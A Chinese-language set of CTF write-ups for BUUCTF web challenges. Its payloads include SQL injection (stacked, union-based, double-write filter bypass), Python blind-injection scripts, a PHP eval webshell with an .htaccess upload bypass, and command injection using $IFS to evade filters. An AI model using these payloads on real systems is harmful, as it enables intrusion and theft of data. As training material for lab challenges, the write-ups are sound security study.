buuctf web做题记录
buuctf 做题记录
[SUCTF 2019]EasySQL 1
先考虑堆叠查询
1; show databases;
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
1; show tables;
Array ( [0] => 1 ) Array ( [0] => Flag )
继续试着堆叠注入,发现无法显示列名,有其他大佬猜出了它的查询语句
select $_GET['query'] || flag from flag
在 mysql中 ||等同于or,所以上述查询其实就等同于
select $_GET['query'] or flag from flag
根据这个查询模式进行payload构造,我们第一时间可以想到直接* from Flag;#
但实际测
试不行,应该是将flag给过滤掉了
继续尝试去构造,既然||
相当于或,那么我们就可以这样构造
select *,1 || flag from flag;
为什么这样可以呢? 1 or flag
中由于1非0,所以为true ,true or flag
也为true
将true转换为数字则为1所以最后实际执行的语句为
select *,1 from flag;
我们即可获得flag
第二种思路:通过测试我们发现本题并未过滤set和 concat 函数,我们可以通过set设置会话
模式,将||
解析成concat
,而concat函数在sql中起到作用是将查询的结果拼接起来
由此我们有了第二种payload
1;set sql_mode=pipes_as_concat;select 1
[强网杯 2019]随便注
这题很奇怪,使用堆叠注入一直都没有结果,最后去看其他人的wp过程,在我这也无法复
现,最后直接使用万能密码居然给过了,怀疑改题了,我看到的题和其他人做到不是一个版
本的题。
[极客大挑战 2019]LoveSQL
也是一个登录框类型,我们先试下堆叠注入,发现不行,试一下万能密码发现登陆了进去,
也就是存在显示位,试一下联合查询。
就是一套标准测试流程
先通过闭合测试,测得需要单引号闭合,再通过
1' order by 3;#
测得查询列数位3
接着测试显示位 1' union select 1,2,3;#
测得显示位是2,3
接着使用1' union select 1,database(),3
获得数据库名geek
接着查询表名:
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek';#
我们成功得到表名 :geekuser l0ve1ysq1
再查询第一个表的列名:
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='geekuser';#
发现有id username password 查询内容
1' union select 1,group_concat(username),3 from geekuser;#
发现flag没在这里,换个表
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='l0ve1ysq1';#
同样有id username password 继续查询
1' union select 1,group_concat(username),3 from l0ve1ysq1;#
由于输出太多,一次看的不是很清楚,我们选择查看源代码
我们看到了flag!用户,查询内容
1' union select 1,password,3 from l0ve1ysq1 where username='flag';#
发现查不到结果,这可能是我的用户名输入的有问题,不管这些,直接查密码。
1' union select 1,group_concat(password),3 from l0ve1ysq1 ;#
继续查看网页代码,找到flag,拿下。
[极客大挑战 2019]BabySQL
本题是上个题的加强版本,
先试下万能密码,发现报错信息中or 不见了
判断是将or给过滤掉了,如果只调用了一次替换函数,我们是可以进行双写绕过的,再试一
下:1' oorr 1=1;#
发现成功登陆,可以进行正常显示,我们继续
1' oorrder by 3;#
发现不行,查看报错应该是把by 也过滤了,
继续双写绕过1' oorrder bbyy 4;#
通过联合查询发现 union select where from 也进行了过滤,那基本思路就出来了,对过滤的
字符全部进行双写绕过
1' uniunionon seleselectct 1,database(),2;#
查询得到数据库名:geek继续
1' uniunionon seselectlect 1,group_concat(table_name),3 frfromom information_schema.tables whewherere table_schema='geek';#
很难绷,发现似乎不行,再看一下报错,牛魔的,发现是information中的or给过滤了,难
绷,继续
1' uniunionon seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whewherere table_schema='geek';#
有两个表b4bsql,geekuser 有了上一题的经验,我们先看b4bsql
1' uniunionon selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name ='b4bsql';#
不出意外,还是 id username password直接拿flag
1' ununionion seleselectct 1,group_concat(password),3 frofromm b4bsql ;#
发现又不行,原因原来是password里的or又给过滤了,最后的payload
1' ununionion seleselectct 1,group_concat(passwoorrd),3 frofromm b4bsql ;#
[GXYCTF2019]BabyUpload
基础的文件上传漏洞,通过尝试发现对content-type进行了限制,只能为image/jpeg形式,
而且对后缀为php的文件做了黑名单检测,对<?
进行了过滤,上传目录上没有php文件,这
就挡住了我们很多写入后门方法,但是.htaccess可以正常使用,我们便以此为思路,尝试写
入后门,首先我们需要解决的是<?
的过滤,既然把它给过滤了,我们这使用一种新的绕过方
式,即js绕过,具体的一句话木马如下:
<script language="php">eval($_POST['a']);</script>
.htaccess和之前相同
AddType application/x-httpd-php .jpg
通过蚁剑连接服务器,拿下flag.
[极客大挑战 2019]HardSQL
页面和之前的sql注入题目页面相同,跑一下fuzz看下过滤了多少,发现基本上都给过滤了
能用的字符不多了。
测试1'or(true);#
发现能顺利登陆,发现没有回显,考虑使用盲注。
1'OR(ord(right(left(database(),1),1))-ord('a'))#
首先去判断数据库名,这里给出我写的脚本
import requests
import urllib.parse
from bs4 import BeautifulSoup
st = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
num = "123456789"
url = "http://4d349445-657b-4945-8bf8-adb228d81a01.node5.buuoj.cn:81/check.php?"
i = 0
ans = ""
while True:
i = i+1
password = "1'OR(ord(right(left(database(),"+str(i)+"),1))-ord('{}'))#"
for j in st:
pw = password.format(j)
params = {
"username": "admin",
"password": pw
}
url_with_params = url + urllib.parse.urlencode(params)
res = requests.get(url_with_params)
rew = res.text
soup = BeautifulSoup(rew, "html.parser")
con = soup.find('h1')
con2 = con.get_text()
if "NO,Wrong username password" in con2:
ans = ans+j
continue
if (i > 5):
print(ans)
break
由我们不知道数据库名有几位,所以i的值可以变化着试试,发现后面的字母都重复了就说明没
有出现重复的那端是数据库名
然后查询表名,利用mysql空格可以用括号替代,等号可以用like替代的特点。
1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema)like('geek')),1),1))-ORD('a'))#
import requests
import urllib.parse
from bs4 import BeautifulSoup
st = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
num = "123456789"
url = "http://4d349445-657b-4945-8bf8-adb228d81a01.node5.buuoj.cn:81/check.php?"
i = 0
ans = ""
while True:
i = i+1
password = "1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema)like('geek')),"+str(i)+"),1))-ORD('{}'))#"
for j in st:
pw = password.format(j)
params = {
"username": "admin",
"password": pw
}
url_with_params = url + urllib.parse.urlencode(params)
res = requests.get(url_with_params)
rew = res.text
soup = BeautifulSoup(rew, "html.parser")
con = soup.find('h1')
con2 = con.get_text()
if "NO,Wrong username password" in con2:
ans = ans+j
continue
if (i > 8):
print(ans)
break
由于请求过快不一定能正常响应,这里我们多跑几遍,跑出最长的那个表名就是我们要的答案
接下来查看列名
1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name)like('H4rDsq1')),1),1))-ORD('a'))#
import requests
import urllib.parse
from bs4 import BeautifulSoup
st = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
num = "123456789"
url = "http://4d349445-657b-4945-8bf8-adb228d81a01.node5.buuoj.cn:81/check.php?"
i = 0
ans = ""
while True:
i = i+1
password = "1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name)like('H4rDsq1')),"+str(i)+"),1))-ORD('{}'))#"
for j in st:
pw = password.format(j)
params = {
"username": "admin",
"password": pw
}
url_with_params = url + urllib.parse.urlencode(params)
res = requests.get(url_with_params)
rew = res.text
soup = BeautifulSoup(rew, "html.parser")
con = soup.find('h1')
con2 = con.get_text()
if "NO,Wrong username password" in con2:
ans = ans+j
continue
if (i > 15):
print(ans)
break
不用跑太长,看到什么idusernamepa啥的就能猜出列名是什么了。
最后查password
1'OR(ORD(RIGHT(LEFT((SELECT(GROUP_CONCAT(username,':',password))FROM(H4rDsq1)),1),1))-ORD('a'))#
import requests
import urllib.parse
import time
from bs4 import BeautifulSoup
st = "abcdefghijklmnopqrstuvwxyz1234567890{}-_~"
num = "123456789"
url = "http://4d349445-657b-4945-8bf8-adb228d81a01.node5.buuoj.cn:81/check.php?"
i = 0
ans = ""
while True:
i = i+1
password = "1'OR(ORD(RIGHT(LEFT((SELECT(GROUP_CONCAT(password))FROM(H4rDsq1)),"+str(i)+"),1))-ORD('{}'))#"
for j in st:
pw = password.format(j)
params = {
"username": "admin",
"password": pw
}
url_with_params = url + urllib.parse.urlencode(params)
res = requests.get(url_with_params)
time.sleep(0.05)
rew = res.text
soup = BeautifulSoup(rew, "html.parser")
con = soup.find('h1')
con2 = con.get_text()
if "NO,Wrong username password" in con2:
print(pw)
ans = ans+j
continue
if (i > 42):
print(ans)
break
对于这种比较长的字符串,请求过快丢失字符是我们无法接受的,所以加一个sleep,放慢一点
速度,这样就可以获得完整的flag了
[GXYCTF2019]Ping Ping Ping
很明显,这是查询字符串传入ip,然后服务器接受ip后进行ping命令,对于这种类型我们可以
用管道符做到命令执行的效果,用ls看到服务器有index.php和flag.php,查看index.php获得过滤
ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
我们之前的空格绕过方式有:
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
对于本题,发现过滤的字符比较多,给出思路是用$IFS$9
绕过空格,用linux中设置的变量绕过flag过滤
?ip=127.0.0.1;a=g;tac$IFS$9fla$a.php
从而获得flag.